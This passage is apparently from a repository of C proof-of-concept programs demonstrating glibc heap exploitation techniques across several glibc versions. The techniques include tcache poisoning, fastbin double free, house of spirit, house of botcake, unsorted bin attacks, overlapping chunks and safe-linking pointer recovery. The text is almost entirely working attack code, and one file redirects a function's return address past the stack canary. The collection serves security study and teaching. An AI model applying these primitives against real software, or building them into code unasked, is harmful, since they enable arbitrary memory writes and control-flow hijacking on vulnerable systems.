22 | intptr_t *a = malloc(128); 23 | printf("malloc(128): %p\n", a); 24 | intptr_t *b = malloc(128); 25 | printf("malloc(128): %p\n", b); 26 | 27 | printf("Freeing the buffers...\n"); 28 | free(a); 29 | free(b); 30 | 31 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 32 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 33 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var); 34 | b[0] = (intptr_t)&stack_var; 35 | printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var); 36 | 37 | printf("1st malloc(128): %p\n", malloc(128)); 38 | printf("Now the tcache list has [ %p ].\n", &stack_var); 39 | 40 | intptr_t *c = malloc(128); 41 | printf("2nd malloc(128): %p\n", c); 42 | printf("We got the control\n"); 43 | 44 | assert((long)&stack_var == (long)c); 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /glibc_2.27/unsorted_bin_attack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(){ 6 | fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for " 7 | "glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build " 8 | "instructions.\n"); 9 | fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); 10 | fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " 11 | "global variable global_max_fast in libc for further fastbin attack\n\n"); 12 | 13 | volatile unsigned long stack_var=0; 14 | fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); 15 | fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var); 16 | 17 | unsigned long *p=malloc(0x410); 18 | fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); 19 | fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" 20 | "the first one during the free()\n\n"); 21 | malloc(500); 22 | 23 | free(p); 24 | fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " 25 | "point to %p\n",(void*)p[1]); 26 | 27 | //------------VULNERABILITY----------- 28 | 29 | p[1]=(unsigned long)(&stack_var-2); 30 | fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 31 | fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]); 32 | 33 | //------------------------------------ 34 | 35 | malloc(0x410); 36 | fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " 37 | "rewritten:\n"); 38 | fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); 39 | 40 | assert(stack_var != 0); 41 | } 42 | -------------------------------------------------------------------------------- /glibc_2.27/unsorted_bin_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void jackpot(){ printf("Nice jump d00d\n"); exit(0); } 8 | 9 | int main() { 10 | setbuf(stdout, NULL); 11 | intptr_t stack_buffer[4] = {0}; 12 | 13 | printf("This technique only works with disabled tcache-option for glibc or the size of the victim chunk is larger than 0x408, see build_glibc.sh for build instructions.\n"); 14 | 15 | printf("Allocating the victim chunk\n"); 16 | intptr_t* victim = malloc(0x410); 17 | 18 | printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"); 19 | intptr_t* p1 = malloc(0x410); 20 | 21 | printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 22 | free(victim); 23 | 24 | printf("Create a fake chunk on the stack"); 25 | printf("Set size for next allocation and the bk pointer to any writable address"); 26 | stack_buffer[1] = 0x410 + 0x10; 27 | stack_buffer[3] = (intptr_t)stack_buffer; 28 | 29 | //------------VULNERABILITY----------- 30 | printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"); 31 | printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"); 32 | victim[-1] = 0x30; 33 | victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack 34 | //------------------------------------ 35 | 36 | printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]); 37 | char *p2 = malloc(0x410); 38 | printf("malloc(0x410): %p\n", p2); 39 | 40 | intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 41 | memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 42 | 43 | assert((long)__builtin_return_address(0) == (long)jackpot); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.31/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.31/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long long stack_var; 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | /*VULNERABILITY*/ 64 | *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 65 | /*VULNERABILITY*/ 66 | 67 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 68 | 69 | void *p = calloc(1,8); 70 | 71 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 72 | assert(p == 8+(char *)&stack_var); 73 | // assert((long)__builtin_return_address(0) == *(long *)p); 74 | } 75 | -------------------------------------------------------------------------------- /glibc_2.31/house_of_botcake.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | int main() 8 | { 9 | /* 10 | * This attack should bypass the restriction introduced in 11 | * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d 12 | * If the libc does not include the restriction, you can simply double free the victim and do a 13 | * simple tcache poisoning 14 | * And thanks to @anton00b and @subwire for the weird name of this technique */ 15 | 16 | // disable buffering so _IO_FILE does not interfere with our heap 17 | setbuf(stdin, NULL); 18 | setbuf(stdout, NULL); 19 | 20 | // introduction 21 | puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); 22 | puts("returning a pointer to an arbitrary location (in this demo, the stack)."); 23 | puts("This attack only relies on double free.\n"); 24 | 25 | // prepare the target 26 | intptr_t stack_var[4]; 27 | puts("The address we want malloc() to return, namely,"); 28 | printf("the target address is %p.\n\n", stack_var); 29 | 30 | // prepare heap layout 31 | puts("Preparing heap layout"); 32 | puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); 33 | intptr_t *x[7]; 34 | for(int i=0; i 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.31/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.31/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.31/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | 18 | size_t stack_var; 19 | printf("The address we want malloc() to return is %p.\n", (char *)&stack_var); 20 | 21 | printf("Allocating 2 buffers.\n"); 22 | intptr_t *a = malloc(128); 23 | printf("malloc(128): %p\n", a); 24 | intptr_t *b = malloc(128); 25 | printf("malloc(128): %p\n", b); 26 | 27 | printf("Freeing the buffers...\n"); 28 | free(a); 29 | free(b); 30 | 31 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 32 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 33 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var); 34 | b[0] = (intptr_t)&stack_var; 35 | printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var); 36 | 37 | printf("1st malloc(128): %p\n", malloc(128)); 38 | printf("Now the tcache list has [ %p ].\n", &stack_var); 39 | 40 | intptr_t *c = malloc(128); 41 | printf("2nd malloc(128): %p\n", c); 42 | printf("We got the control\n"); 43 | 44 | assert((long)&stack_var == (long)c); 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /glibc_2.32/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | * This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.32/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.32/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[2] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.32/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.32/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: 